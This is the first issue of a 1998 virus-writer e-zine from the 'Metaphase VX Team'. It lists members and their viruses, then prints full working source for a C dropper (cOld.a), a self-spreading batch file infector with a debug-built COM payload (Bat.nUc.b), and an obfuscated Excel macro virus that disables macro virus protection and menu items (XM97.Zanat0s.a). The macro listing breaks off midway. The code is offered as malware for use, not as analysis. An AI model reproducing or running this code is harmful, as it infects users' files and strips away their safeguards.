Copyright: Metaphase 1998
Citation: Metaphase 1998


Metaphase VX Team

Welcome To Issue 1

News

 Source Code & Tut's

Interviews

Special Guests

About

Greets

Disclaimer


Source Code & Tut's

Source Code

cOld.a by Sblip

Bat.nUc.b by -KD-

XM97.Zanat0s.a by -KD-

WM97.Darky.a by -KD-

Secret Script/Word Virus.a by Sinixstar

Bat.metallica by Raven

frisk v2.0 by nUcLeii

Tuts

Number Systems by Sblip

Appending Batch Virii by -KD-


News

News

Changes in members:

Mofolamer: has retired from the VX secen and Metaphase.

    Metaphase would like to wish him luck in his future.

Raven: is now an inactive member.

    (For lack of hard drive and real life issues)

Deamonphreak_: is now an inactive member

    (For lack of computer and location at present)

Currently we are looking for new members.

Virii To Date

WM.Sinixstar.a by -KD-  97

WM.Dirtydick.a by -KD- 97

WM.Goofoff.a by Deamonphreak_ 97

Bat.one.a by Raven 97

Bat.thislife.a by Raven 97

 Bat.runner.a by -KD- 98

Bat.ViZ.a by -KD- 98

Bat.nUc.a by -KD- 98

Bat.thislife.b by Raven 98

Bat.nUc.b by -KD- 98

cOLd.a by Sblip 98

Bat.Metallica by Raven 98

XM97.Zanat0s.a by -KD- 98

Tally.a by -KD- 98

Bat.tally.a by -KD- 98

WM97.darky.a by -KD- 98

WM97.SeceretScript.a by Sinixstar 98

Bat.Tally.b by -KD- 98

 Fnord.a by Sblip 98

New Projects

Symbolic.a by -KD-

WM97.frisk.a by -KD-

Fnord.b by Sblip


Interviews

Interviews

Opic

by -KD-

nUcLeii

by -KD-

 foxz

by Sinixstar


Special Guests

Special Guests

Darkman / 29A

Bog.233 Dissassembly

CrazH / NVT

A Lame Excel Formula Tutorial "The Basic In-Fuck-Tion"

Dark Weenie

MircBat made by Dark Weenie.


About

____________________________________________________

                           Knowdeth: (founder/leader) VBA, Wordbasic, Batch, Basic

                              note: Also a member of NoMercyVirusTeam

                           E-mail: knowdeth@usa.net

                           Origin: USA

                           Resident: USA

                           Sex: Male

                           Homepage: http://sourceofkaos.com/homes/knowdeth/

______________________________________________________

                           Sinixstar: (founder) VBA, Pascal

                           E-mail: sinixstar@hotmail.com

                           Origin: USA

                           Resident: USA

                           Sex: Male

                           Homepage: n/a

______________________________________________________

                           Sblip: (member) C++, Batch

                           E-mail: sblip@softhome.net

                           Origin: USA

                           Resident: USA

                           Sex: Male

                           Homepage: n/a

______________________________________________________

                           nUcLeii: (honoray member) ASM

                              note: Also is the Editor of  VX United

                          E-mail: nUcLeii01@hotmail.com

                          Origin: USA

                          Resident: USA

                          Sex: Male

                          Homepage: http://sourceofkaos.com/homes/nucleii/

______________________________________________________

http://www.sourceofkaos.com/homes/meta/

metaphase-team@usa.net

best viewed at 640x480 with Windows 9.x

1998

Edited by -KD-


cOld.a
cOld.a by Sblip

______________________________________________________________________

Virus Author: Sblip of [Metaphase VX Team]  Oct 98.

Virus Name  : cOld.a

Virus Target: *.BAT

Target OS...: DOS

Virus Info..: Trojan Dropper Of A Virus Batch File

Encryption..: No.

Payload.....: Yes. Bat.cOld.a Virus.

Stealth.....: No.

TSR.........: No.

AntiAV......: NO.

______________________________________________________________________

/* :: [cOld.a]

   :: by -ß£ip- / Metaphase VX Team

*/

#include <stdio.h>

#include <stdlib.h>

main()

{

int i;

char e1[] = "@ctty nul._cOld";

char e2[] = "@echo off%_cOld%";

char e3[] = "for %%a in (*.bat ..\\*.bat) do set cOld=%%a";

char e4[] ="find \"cOld\"<%cOld%";

char e5[] ="if errorlevel 1 find \"cOld\"<%0.BAT>>%cOld%";

char e6[] ="echo.|date|find \"23\">nul.cOld";

char e7[] ="if errorlevel 1 goto cOld_exit";

char e8[] ="echo n $cOld$.com>cOld.t";

char e9[] ="echo e 0100 EB 3D 90 00 4B 02 02 00 00 54 68 65 44 72 61 77>>cOld.t";

char e10[] ="echo e 0110 20 43 4F 4D 20 66 69 6C 65 20 53 63 72 65 65 6E>>cOld.t";

char e11[] ="echo e 0120 20 53 61 76 65 1A 55 6E 73 75 70 70 6F 72 74 65>>cOld.t";

char e12[] ="echo e 0130 64 20 56 69 64 65 6F 20 4D 6F 64 65 0D 0A 24 B4>>cOld.t";

char e13[] ="echo e 0140 0F CD 10 BB 00 B8 3C 02 74 18 3C 03 74 14 C6 06>>cOld.t";

char e14[] ="echo e 0150 03 01 00 BB 00 B0 3C 07 74 08 BA 26 01 B4 09 CD>>cOld.t";

char e15[] ="echo e 0160 21 C3 8E C3 8B 3E 07 01 BE F0 01 BA DA 03 B3 09>>cOld.t";

char e16[] ="echo e 0170 8B 0E 04 01 FC 33 C0 AC 3C 1B 75 05 80 F4 80 EB>>cOld.t";

char e17[] ="echo e 0180 6A 3C 10 73 07 80 E4 F0 0A E0 EB 5F 3C 18 74 13>>cOld.t";

char e18[] ="echo e 0190 73 1F 2C 10 02 C0 02 C0 02 C0 02 C0 80 E4 8F 0A>>cOld.t";

char e19[] ="echo e 01A0 E0 EB 48 8B 3E 07 01 81 C7 A0 00 89 3E 07 01 EB>>cOld.t";

char e20[] ="echo e 01B0 3A 8B E9 B9 01 00 3C 19 75 08 AC 8A C8 B0 20 4D>>cOld.t";

char e21[] ="echo e 01C0 EB 0A 3C 1A 75 07 AC 4D 8A C8 AC 4D 41 80 3E 03>>cOld.t";

char e22[] ="echo e 01D0 01 00 74 13 8A F8 EC D0 D8 72 FB EC 22 C3 75 FB>>cOld.t";

char e23[] ="echo e 01E0 8A C7 AB E2 F1 EB 02 F3 AB 8B CD E3 02 E2 88 C3>>cOld.t";

char e24[] ="echo e 01F0 0F 10 19 4F 18 19 4F 18 19 4F 18 19 4F 18 19 4F>>cOld.t";

char e25[] ="echo e 0200 18 19 4F 18 19 05 08 DF 07 B1 01 DC 19 02 DB DC>>cOld.t";

char e26[] ="echo e 0210 20 08 DC 01 DF 08 B1 01 1A 03 DF 20 DB DF DF DC>>cOld.t";

char e27[] ="echo e 0220 DF DF DD 20 DF DD DF DF DC 19 02 DF DB DF DF DC>>cOld.t";

char e28[] ="echo e 0230 20 20 DF DB 20 20 DF DB 20 DF DB DF DF DC 19 02>>cOld.t";

char e29[] ="echo e 0240 DC DF DF DF DC 20 08 DC 01 DF DB 1A 03 DF 0F 19>>cOld.t";

char e30[] ="echo e 0250 05 18 19 06 08 B1 20 01 DB 20 DB 20 DB 19 02 08>>cOld.t";

char e31[] ="echo e 0260 DB 19 02 FA 19 03 01 DB 0F 19 04 01 DB 19 02 09>>cOld.t";

char e32[] ="echo e 0270 DB 19 02 01 DB 19 02 DB 20 20 B1 19 02 08 B1 20>>cOld.t";

char e33[] ="echo e 0280 20 09 DB 19 02 01 DB 20 B2 0F 19 07 09 DB 0F 19>>cOld.t";

char e34[] ="echo e 0290 09 18 19 06 01 B1 20 20 DB 20 20 DB 20 20 08 DC>>cOld.t";

char e35[] ="echo e 02A0 B1 01 DC DC 19 02 08 FA 20 20 DB 20 20 FA 20 01>>cOld.t";

char e36[] ="echo e 02B0 DF DB DF DF DF DB 20 20 DF DB DF DF DF 20 20 DF>>cOld.t";

char e37[] ="echo e 02C0 DB DF DF DF 08 DB 20 01 DF DB DF DF DF DB 20 20>>cOld.t";

char e38[] ="echo e 02D0 DF DF DC DC 19 02 DC DB DC DC 0F 19 07 18 19 06>>cOld.t";

char e39[] ="echo e 02E0 01 DB DD 19 03 DB DD 08 DF 20 01 DB 0F 19 07 08>>cOld.t";

char e40[] ="echo e 02F0 B1 0F 19 04 01 DB 19 02 DB 19 02 DB 0F 19 05 01>>cOld.t";

char e41[] ="echo e 0300 DB 19 02 09 DB 20 20 01 DB 19 02 DB 0F 19 05 01>>cOld.t";

char e42[] ="echo e 0310 DB 20 08 DF 20 01 DB 0F 19 09 18 19 05 08 DC 01>>cOld.t";

char e43[] ="echo e 0320 DF 19 03 08 DC 01 DF 20 20 08 DC 01 DF 1A 03 DC>>cOld.t";

char e44[] ="echo e 0330 19 02 08 DC 01 DB DC 19 02 08 DC 01 DF 20 20 08>>cOld.t";

char e45[] ="echo e 0340 DC 01 DF 20 20 08 DE DF DD 19 03 DC 01 DF 20 20>>cOld.t";

char e46[] ="echo e 0350 08 DC 01 DF 20 08 DC 01 DF 20 20 08 DC 01 DF 20>>cOld.t";

char e47[] ="echo e 0360 08 DF 01 1A 03 DC DF 20 20 08 DC 01 DF 1A 03 DC>>cOld.t";

char e48[] ="echo e 0370 0F 19 05 18 19 19 08 FA 0F 19 34 18 19 4F 18 19>>cOld.t";

char e49[] ="echo e 0380 08 08 1A 04 C4 07 1A 03 C4 0F C4 C4 C4 07 1A 05>>cOld.t";

char e50[] ="echo e 0390 C4 0F C4 C4 C4 07 1A 03 C4 08 1A 04 C4 00 C4 20>>cOld.t";

char e51[] ="echo e 03A0 08 1A 03 C4 07 C4 C4 C4 0F C4 C4 C4 07 1A 04 C4>>cOld.t";

char e52[] ="echo e 03B0 0F 1A 03 C4 07 1A 03 C4 08 1A 06 C4 0F 19 08 18>>cOld.t";

char e53[] ="echo e 03C0 19 4F 18 19 1E 08 DF 01 DC 19 03 08 DF 01 DC 20>>cOld.t";

char e54[] ="echo e 03D0 08 DC 01 DF DC 19 02 DF DB 0F 19 1F 18 19 1F 01>>cOld.t";

char e55[] ="echo e 03E0 DB 0F 19 04 09 DB 19 02 01 DF DC 20 DC DF 0F 19>>cOld.t";

char e56[] ="echo e 03F0 20 18 19 1F 01 DB 0F 19 04 01 DB 0F 19 04 01 DB>>cOld.t";

char e57[] ="echo e 0400 0F 19 22 18 19 20 01 DB 19 02 DB 19 03 DC DF 20>>cOld.t";

char e58[] ="echo e 0410 09 DB 0F 19 21 18 19 1F 08 DF 01 1A 03 DF 19 02>>cOld.t";

char e59[] ="echo e 0420 07 DF 01 DF 19 03 DF DF 0F 19 1F 18 19 4F 18 19>>cOld.t";

char e60[] ="echo e 0430 4F 18 19 4F 18 19 4F 18 19 4F 18>>cOld.t";

char e61[] ="echo rcx>>cOld.t";

char e62[] ="echo 3C0>>cOld.t";

char e63[] ="echo w>>cOld.t";

char e64[] ="echo q>>cOld.t";

char e65[] ="debug<cOld.t>nul";

char e66[] ="del cOld.t";

char e67[] ="$cOld$";

char e68[] ="del $cOld$.com";

char e69[] ="ctty con._!";

FILE *fp;

fp = fopen("stuff.bat", "a+");

fprintf(fp,"%s\n",e1);

fprintf(fp,"%s\n",e2);

fprintf(fp,"%s\n",e3);

fprintf(fp,"%s\n",e4);

fprintf(fp,"%s\n",e5);

fprintf(fp,"%s\n",e6);

fprintf(fp,"%s\n",e7);

fprintf(fp,"%s\n",e8);

fprintf(fp,"%s\n",e9);

fprintf(fp,"%s\n",e10);

fprintf(fp,"%s\n",e11);

fprintf(fp,"%s\n",e12);

fprintf(fp,"%s\n",e13);

fprintf(fp,"%s\n",e14);

fprintf(fp,"%s\n",e15);

fprintf(fp,"%s\n",e16);

fprintf(fp,"%s\n",e17);

fprintf(fp,"%s\n",e18);

fprintf(fp,"%s\n",e19);

fprintf(fp,"%s\n",e20);

fprintf(fp,"%s\n",e21);

fprintf(fp,"%s\n",e22);

fprintf(fp,"%s\n",e23);

fprintf(fp,"%s\n",e24);

fprintf(fp,"%s\n",e25);

fprintf(fp,"%s\n",e26);

fprintf(fp,"%s\n",e27);

fprintf(fp,"%s\n",e28);

fprintf(fp,"%s\n",e29);

fprintf(fp,"%s\n",e30);

fprintf(fp,"%s\n",e31);

fprintf(fp,"%s\n",e32);

fprintf(fp,"%s\n",e33);

fprintf(fp,"%s\n",e34);

fprintf(fp,"%s\n",e35);

fprintf(fp,"%s\n",e36);

fprintf(fp,"%s\n",e37);

fprintf(fp,"%s\n",e38);

fprintf(fp,"%s\n",e39);

fprintf(fp,"%s\n",e40);

fprintf(fp,"%s\n",e41);

fprintf(fp,"%s\n",e42);

fprintf(fp,"%s\n",e43);

fprintf(fp,"%s\n",e44);

fprintf(fp,"%s\n",e45);

fprintf(fp,"%s\n",e46);

fprintf(fp,"%s\n",e47);

fprintf(fp,"%s\n",e48);

fprintf(fp,"%s\n",e49);

fprintf(fp,"%s\n",e50);

fprintf(fp,"%s\n",e51);

fprintf(fp,"%s\n",e52);

fprintf(fp,"%s\n",e53);

fprintf(fp,"%s\n",e54);

fprintf(fp,"%s\n",e55);

fprintf(fp,"%s\n",e56);

fprintf(fp,"%s\n",e57);

fprintf(fp,"%s\n",e58);

fprintf(fp,"%s\n",e59);

fprintf(fp,"%s\n",e60);

fprintf(fp,"%s\n",e61);

fprintf(fp,"%s\n",e62);

fprintf(fp,"%s\n",e63);

fprintf(fp,"%s\n",e64);

fprintf(fp,"%s\n",e65);

fprintf(fp,"%s\n",e66);

fprintf(fp,"%s\n",e67);

fprintf(fp,"%s\n",e68);

fprintf(fp,"%s\n",e69);

fclose(fp);

system("stuff.bat");

exit(0);

}


Bat.nUc.b
Bat.nUc.b by -KD-

______________________________________________________________________

Virus Author: -KD- of [Metaphase VX Team]&[NoMercyVirusTeam] Oct 98.

Virus Name  : BAT.nUc.b

Virus Target: *.BAT

Target OS...: DOS 6.x

Virus Info..: Compound Batch Infector with Debugger COM Graphical Payload

Encryption..: N/A.

Payload.....: Yes. Debugger Made COM File Runs A Picture

Stealth.....: N/A.

TSR.........: N/A.

AntiAV......: No.

______________________________________________________________________

:: [nUc.b]

:: by -KD- / Metaphase VX Team

@if '%_kd_%==' goto _kd_

@if not '%_kd_%==' goto nUc_pay

:_kd_ nUc

@echo off%_nUc%

if '%1=='nUc goto nUc%2

set nUc=%0.bat

if not exist %nUc% set nUc=%0

if '%nUc%==' set nUc=autoexec.bat

set !nUc=%1 %2 %3 %4 %5 %6 %7 %8 %9

call %nUc% nUc run

set _kd_=%_nUc%

set !nUc=

if exist c:\_nUc.bat goto nUc_go

if not exist %nUc% goto nUc_Leii

find "nUc"<%nUc%>c:\_nUc.bat

attrib c:\_nUc.bat +h

:nUc_go

if '%!nUc%=='-- goto nUc_pay

set !nUc=%!nUc%-

command /e:5000 /c c:\_nUc nUc vx . .. \ %path%

:nUc_Leii

set nUc=

goto nUc_exit

:nUcrun

set _kd_=x%_nUc%

%nUc% %!nUc%

:nUc_vx

shift%_nUc%

if '%2==' exit nUc

for %%a in (%2\*.bat %2*.bat) do call c:\_nUc nUc inf %%a

goto nUc_vx

:nUc_inf

find "nUc"<%3>nul

if not errorlevel 1 goto nUc_jump

echo @if '%%_kd_%%==' goto _kd_>nUc$

type %3>>nUc$

echo.>>nUc$

type c:\_nUc.bat>>nUc$

move nUc$ %3>nul

set nUc#=%nUc#%-

if %nUc#%==-- nUc_pay

:nUc_jump

set nUc!=%nUc!%-

if %nUc!%==-- nUc_pay

:nUc_pay

echo.|time|find "12:00">nul.nUc

if errorlevel 1 goto nUc_exit

echo n $nUc$.com>nUc.t

echo e 0100 EB 3D 90 00 06 06 02 00 00 54 68 65 44 72 61 77>>nUc.t

echo e 0110 20 43 4F 4D 20 66 69 6C 65 20 53 63 72 65 65 6E>>nUc.t

echo e 0120 20 53 61 76 65 1A 55 6E 73 75 70 70 6F 72 74 65>>nUc.t

echo e 0130 64 20 56 69 64 65 6F 20 4D 6F 64 65 0D 0A 24 B4>>nUc.t

echo e 0140 0F CD 10 BB 00 B8 3C 02 74 18 3C 03 74 14 C6 06>>nUc.t

echo e 0150 03 01 00 BB 00 B0 3C 07 74 08 BA 26 01 B4 09 CD>>nUc.t

echo e 0160 21 C3 8E C3 8B 3E 07 01 BE F0 01 BA DA 03 B3 09>>nUc.t

echo e 0170 8B 0E 04 01 FC 33 C0 AC 3C 1B 75 05 80 F4 80 EB>>nUc.t

echo e 0180 6A 3C 10 73 07 80 E4 F0 0A E0 EB 5F 3C 18 74 13>>nUc.t

echo e 0190 73 1F 2C 10 02 C0 02 C0 02 C0 02 C0 80 E4 8F 0A>>nUc.t

echo e 01A0 E0 EB 48 8B 3E 07 01 81 C7 A0 00 89 3E 07 01 EB>>nUc.t

echo e 01B0 3A 8B E9 B9 01 00 3C 19 75 08 AC 8A C8 B0 20 4D>>nUc.t

echo e 01C0 EB 0A 3C 1A 75 07 AC 4D 8A C8 AC 4D 41 80 3E 03>>nUc.t

echo e 01D0 01 00 74 13 8A F8 EC D0 D8 72 FB EC 22 C3 75 FB>>nUc.t

echo e 01E0 8A C7 AB E2 F1 EB 02 F3 AB 8B CD E3 02 E2 88 C3>>nUc.t

echo e 01F0 03 10 1A 22 DB 0B 13 1A 04 B0 B1 B1 B2 DB B1 B1>>nUc.t

echo e 0200 B0 B0 B0 03 10 DB 0C 1A 08 DB 14 B2 B2 B2 10 DB>>nUc.t

echo e 0210 14 1A 03 B2 10 1A 04 DB 14 DB 10 DB 14 B2 B2 B1>>nUc.t

echo e 0220 B1 B0 04 10 DC 18 03 DB 0E 13 DC DC 10 1A 05 DF>>nUc.t

echo e 0230 DC DC DC 03 1A 04 DF 1A 09 DB 0B 13 1A 03 B0 B1>>nUc.t

echo e 0240 B1 B1 1A 06 B2 1A 04 DB B2 B2 B1 B1 03 10 DB 0C>>nUc.t

echo e 0250 1A 04 DB 14 DB 10 1A 05 DB 14 DB 10 1A 07 DB 14>>nUc.t

echo e 0260 B2 B2 B2 B1 B1 B0 B0 B0 18 0E 10 DF 20 06 DC DF>>nUc.t

echo e 0270 DF 0E 1A 03 DC DB 20 20 DF 06 B2 0C 16 B0 B1 B2>>nUc.t

echo e 0280 10 DC 03 DF DF 1A 07 DB 0B 13 1A 07 B0 1A 07 B1>>nUc.t

echo e 0290 1A 06 B2 03 10 DB 0C 14 1A 03 B2 B1 B1 B2 B2 10>>nUc.t

echo e 02A0 DB DB DB 14 B2 B2 10 DB DB DB 14 1A 04 B2 1A 06>>nUc.t

echo e 02B0 B1 18 06 10 DC DF 0E DC DC DF DF 20 06 DC 20 20>>nUc.t

echo e 02C0 0E DC 19 03 06 B1 B2 0C 16 B0 B1 B2 10 DC 03 DF>>nUc.t

echo e 02D0 1A 0B DB 0B 13 1A 03 B0 B1 B1 B1 1A 05 B2 B1 B1>>nUc.t

echo e 02E0 B1 B0 B0 03 10 DB 0C 13 1A 04 DF 10 1A 11 DB 14>>nUc.t

echo e 02F0 DB DB B0 B0 18 0F 10 20 0E DC DF 20 06 DC DF DF>>nUc.t

echo e 0300 0E DC DF DF DC DB 0F 19 05 0C DF 16 B0 B1 10 DB>>nUc.t

echo e 0310 20 03 1A 1A DB 0B 13 1A 03 B0 B1 B2 0C 1A 06 DC>>nUc.t

echo e 0320 14 1A 06 B2 B1 B1 B1 B2 B2 B1 B0 B0 13 DF DF 18>>nUc.t

echo e 0330 0F 10 20 20 06 DC DF 20 0E DC DF 20 06 DE DB 0E>>nUc.t

echo e 0340 DF 06 DC 0F 19 07 0C DC DC DF DC 03 1A 04 DF 1A>>nUc.t

echo e 0350 1C DB 0C 13 1A 12 DF 19 02 18 0F 10 20 06 DB 20>>nUc.t

echo e 0360 20 DB 0E DB 20 20 06 DC DF 0E DC DB 0F 19 06 00>>nUc.t

echo e 0370 16 DC 0F 10 19 03 00 16 DC 0C 10 DF 16 DF 10 DB>>nUc.t

echo e 0380 DB 20 03 1A 14 DB 0B 13 B0 B0 B1 B2 B2 03 10 DB>>nUc.t

echo e 0390 DB DB 0C 13 DF 03 10 DB DB DB 0C 13 1A 07 DF 03>>nUc.t

echo e 03A0 10 1A 08 DB 18 20 06 DB 20 DB 0E DF 20 06 B0 20>>nUc.t

echo e 03B0 20 0E DB 16 DF 06 10 DF 0F 19 09 0C DF DF DC 20>>nUc.t

echo e 03C0 20 00 16 DC 0C 10 DC DC 20 03 1A 0B DB 00 17 DA>>nUc.t

echo e 03D0 1A 1F C4 BF 03 13 DB 10 DB DB 18 20 06 DB 20 DF>>nUc.t

echo e 03E0 20 B0 20 0E DC DF DF 20 DB 0F 19 0C 0C DF DC 20>>nUc.t

echo e 03F0 20 00 16 DC 0C DF 10 DC 03 DF 1A 09 DB 00 17 B3>>nUc.t

echo e 0400 07 10 1A 04 DB 00 17 D6 C4 C4 BF 07 10 DB 00 17>>nUc.t

echo e 0410 D2 07 10 DB DB 00 17 C2 07 10 DB 00 17 D6 C4 C4>>nUc.t

echo e 0420 BF 07 10 DB DB DB 00 17 D2 C4 BF 07 10 1A 06 DB>>nUc.t

echo e 0430 00 17 B3 08 10 B0 B0 03 13 DB 18 0F 10 20 06 DF>>nUc.t

echo e 0440 DC 20 B0 19 02 DF 0E DC 06 DF 0F 19 13 06 16 20>>nUc.t

echo e 0450 0C 10 DB 20 03 1A 08 DB 00 17 B3 07 10 1A 04 DB>>nUc.t

echo e 0460 00 17 BA 07 10 DB DB 00 17 B3 07 10 DB 00 17 BA>>nUc.t

echo e 0470 07 10 DB DB 00 17 B3 07 10 DB 00 17 BA 07 10 1A>>nUc.t

echo e 0480 05 DB 00 17 C7 C4 C1 BF 07 10 1A 05 DB 00 17 B3>>nUc.t

echo e 0490 08 10 B0 B0 03 DB 18 19 02 06 DF DC 20 20 0E DC>>nUc.t

echo e 04A0 DB DF 20 20 06 DC 0F 19 12 06 DF 0C 16 DE 0F 10>>nUc.t

echo e 04B0 20 03 DB 14 1A 05 DB 10 DB 00 17 B3 07 10 1A 04>>nUc.t

echo e 04C0 DB 00 17 D0 07 10 DB DB 00 17 C1 07 10 DB 00 17>>nUc.t

echo e 04D0 D3 C4 C4 D9 07 10 DB 00 17 D3 C4 C4 D9 07 10 DB>>nUc.t

echo e 04E0 00 17 6F 07 10 DB 00 17 D0 C4 C4 D9 07 10 1A 05>>nUc.t

echo e 04F0 DB 00 17 B3 08 10 B0 B0 03 DB 18 20 20 06 B0 B1>>nUc.t

echo e 0500 DB 20 DE 0E DB 20 20 06 DB 0E DB 20 0C DF DC DC>>nUc.t

echo e 0510 06 DF 0F 19 0E 06 DC 0C 16 DE 0F 10 20 03 1A 07>>nUc.t

echo e 0520 DB 00 17 B3 07 10 1A 04 DB 17 19 02 10 1A 17 DB>>nUc.t

echo e 0530 00 17 B3 08 10 B0 B0 03 DB 18 19 02 06 DC 20 DF>>nUc.t

echo e 0540 DE 0E DB 20 20 06 DB 0E DB 0F 19 11 06 DC 0C 16>>nUc.t

echo e 0550 DC 10 DF DF 03 DC 1A 07 DB 00 17 B3 07 10 DB 17>>nUc.t

echo e 0560 20 10 1A 05 DB 17 19 03 10 1A 03 DB 17 19 02 10>>nUc.t

echo e 0570 1A 05 DB 17 19 02 10 1A 03 DB 00 17 B3 08 10 B0>>nUc.t

echo e 0580 B0 03 DB 18 0F 19 04 06 DB DE 0E DF DC 20 20 DF>>nUc.t

echo e 0590 DC 0F 19 0D 06 DC 0C 16 DE 13 DB 10 DF 03 DC 1A>>nUc.t

echo e 05A0 0A DB 00 17 B3 07 10 DB DB 17 19 06 00 2D 4B 44>>nUc.t

echo e 05B0 2D 20 2F 20 4D 65 74 61 70 68 61 73 65 07 10 1A>>nUc.t

echo e 05C0 04 DB 17 20 20 00 B3 08 10 B0 B0 03 14 DB 18 0F>>nUc.t

echo e 05D0 10 19 02 06 B1 DB 20 B0 DF 20 DB DC 20 0E DF DB>>nUc.t

echo e 05E0 DC 0F 19 08 06 DC 0C 16 B1 B2 0F 10 20 03 DC DC>>nUc.t

echo e 05F0 1A 0C DB 00 17 B3 07 10 DB DB DB 17 19 03 10 DB>>nUc.t

echo e 0600 17 19 05 10 DB 17 20 20 10 1A 0E DB 00 17 B3 08>>nUc.t

echo e 0610 10 B0 B0 03 DB 18 19 02 06 B1 DF DC 20 B0 20 DC>>nUc.t

echo e 0620 DF 20 0E DB 06 DB 0E DB DC 0F 19 05 06 B2 0C 16>>nUc.t

echo e 0630 B0 B1 0F 10 20 0E DC 03 1A 0F DB 00 17 B3 45 76>>nUc.t

echo e 0640 65 6E 20 74 68 65 20 77 69 73 65 73 74 20 6F 66>>nUc.t

echo e 0650 20 4D 65 6E 20 61 6E 64 07 10 1A 05 DB 00 17 B3>>nUc.t

echo e 0660 08 10 B0 B0 03 DB 18 20 20 06 B0 20 20 B1 DF DB>>nUc.t

echo e 0670 DC 20 DB 20 0E DF DC 20 DF DB DC 20 20 06 B1 0C>>nUc.t

echo e 0680 16 B0 B1 B2 0F 10 20 0E DF DB 03 DE 1A 07 DB 14>>nUc.t

echo e 0690 1A 06 DB 00 17 B3 20 4D 61 63 68 69 6E 65 73 20>>nUc.t

echo e 06A0 63 61 6E 20 62 65 20 69 6E 20 65 72 72 6F 72 2E>>nUc.t

echo e 06B0 07 10 DB 17 19 03 10 DB 00 17 B3 08 10 B0 B0 03>>nUc.t

echo e 06C0 DB 18 0F 19 04 06 B2 20 B1 DF DB DC 20 DB 0E DB>>nUc.t

echo e 06D0 DC 20 06 DF 0E DF DB DC 20 06 B2 0C 16 B0 0F 10>>nUc.t

echo e 06E0 20 0E DD DE DB 03 DE 1A 0E DB 00 17 B3 07 10 1A>>nUc.t

echo e 06F0 0A DB 17 20 20 10 1A 12 DB 00 17 B3 08 10 B0 B0>>nUc.t

echo e 0700 03 DB 18 19 02 06 B0 B2 20 B1 20 DC DB 20 DB DF>>nUc.t

echo e 0710 DC 0E DF DB 20 06 DF DB 0E DF DC 20 06 DB 20 0E>>nUc.t

echo e 0720 DD 03 DD 0E DB DC 03 DF 1A 0D DB 00 17 B3 07 10>>nUc.t

echo e 0730 1A 18 DB 00 17 31 39 39 38 07 10 DB DB DB 00 17>>nUc.t

echo e 0740 B3 08 10 B0 B0 03 DB 18 20 20 06 B0 B2 20 B0 20>>nUc.t

echo e 0750 DF B0 20 DC DB 20 DF DC 0E DF DB 20 20 06 DB 0E>>nUc.t

echo e 0760 DB 20 06 B2 DB 0C 1A 03 DC 0E DF 20 03 DF DF 13>>nUc.t

echo e 0770 20 10 1A 09 DB 00 17 C0 1A 1F C4 D9 08 10 B0 B0>>nUc.t

echo e 0780 03 DB 18 20 20 06 B0 B1 20 20 B0 B1 20 DC DF B0>>nUc.t

echo e 0790 B1 20 DC DB 0E DC DB 20 06 DB 0E DB 20 20 0C DF>>nUc.t

echo e 07A0 19 03 DF DF DF 1A 03 DC 03 1A 03 DF 13 20 10 DB>>nUc.t

echo e 07B0 DB DB 13 DB 10 DB 08 1A 21 B0 03 DB 18 06 DF B0>>nUc.t

echo e 07C0 19 03 DC DC DF 20 20 DC 20 DF 0E DC DC DF 20 06>>nUc.t

echo e 07D0 DF 0E DC DF 20 06 B2 0F 19 0A 0C 1A 03 DF DC DC>>nUc.t

echo e 07E0 20 03 DB DB 13 1A 23 DB 14 DB 18 0F 10 19 4F 18>>nUc.t

echo e 07F0 19 4F 18 19 4F 18>>nUc.t

echo rcx>>nUc.t

echo 7C0>>nUc.t

echo w>>nUc.t

echo q>>nUc.t

debug<nUc.t>nul

del nUc.t

$nUc$

del $nUc$.com

:nUc_exit


XM97.Zanat0s.a
XM97.Zanat0s.a by -KD-

______________________________________________________________________

Virus Author: -KD- of [Metaphase VX Team]&[NoMercyVirusTeam] Oct 98.

Virus Name  : XM97.Zanat0s.a

Virus Target: Excel 8

Target OS...: Win 9.x

Virus Info..: Excel Macro Virus With Chr() Encryption

Encryption..: Yes.

Payload.....: Yes. Just A Lil Message :-)

Stealth.....: Yes.

TSR.........: N/A.

AntiAV......: Yes. Anti Mcafee And F-macrow

______________________________________________________________________

Attribute VB_Name = "Zanat0s"

Sub  Auto_Open()

' [XM97.Zanat0s.a]

' by -KD- / Metaphase VX Team & NoMercyVirusTeam

' Tech used from Mr.Vic, NoMercy specal thanx

On Error Resume Next

With Options

    .ConfirmConversions = Chr(70) + Chr(97) + Chr(108) + Chr(115) + Chr(101)

    .SaveNormalPrompt = Chr(70) + Chr(97) + Chr(108) + Chr(115) + Chr(101)

    .VirusProtection = Chr(70) + Chr(97) + Chr(108) + Chr(115) + Chr(101)

End With

CommandBars(Chr(34) + Chr(116) + Chr(111) + Chr(111) + Chr(108) + Chr(115) + Chr(34)).Controls("Macro").Delete

CommandBars(Chr(34) + Chr(116) + Chr(111) + Chr(111) + Chr(108) + Chr(115) + Chr(34)).Controls("Customize...").Delete

CommandBars(Chr(34) + Chr(116) + Chr(111) + Chr(111) + Chr(108) + Chr(115) + Chr(34)).Controls("Templates and add-ins...").Delete

CommandBars(Chr(34) + Chr(118) + Chr(105) + Chr(101) + Chr(119) + Chr(34)).Controls("Toolbars").Delete

CommandBars(Chr(34) + Chr(118) + Chr(105) + Chr(101) + Chr(119) + Chr(34)).Controls("Status Bar").Delete

CommandBars(Chr(34) + Chr(119) + Chr(105) + Chr(110) + Chr(100) + Chr(111) + Chr(119) + Chr(34)).Controls("Unhide...").Delete

Application.DisplayStatusBar = Chr(70) + Chr(97) + Chr(108) + Chr(115) + Chr(101)

Application.DisplayAlerts = Chr(70) + Chr(97) + Chr(108) + Chr(115) + Chr(101)

Options.VirusProtection = Chr(70) + Chr(97) + Chr(108) + Chr(115) + Chr(101)

Application.ScreenUpdating = Chr(70) + Chr(97) + Chr(108) + Chr(115) + Chr(101)

If check_zan() Then

     GoTo SheetZan:

Else

     infzanat0s

End If

SheetZan:

Application.OnSheetActivate = Chr(34) + Chr(90) + Chr(97) + Chr(110) + Chr(97) + Chr(116) + Chr(48) + Chr(115) + Chr(46) + Chr(88) + Chr(76) + Chr(77) + Chr(33) + Chr(90) + Chr(97) + Chr(110) + Chr(34)

On Error GoTo ExitZan

Application.DisplayAlerts = Chr(70) + Chr(97) + Chr(108) + Chr(115) + Chr(101)

Application.Workbooks(Chr(34) + Chr(90) + Chr(97) + Chr(110) + Chr(97) + Chr(116) + Chr(48) + Chr(115) + Chr(46) + Chr(88) + Chr(76) + Chr(77) + Chr(34)).Save

Application.ActiveWorkbook.Save

ExitZan:

call ZanPay

End Sub

Function check_zan() As Boolean

check_zan = Chr(70) + Chr(97) + Chr(108) + Chr(115) + Chr(101)

For z = 1 To Application.Workbooks.Count

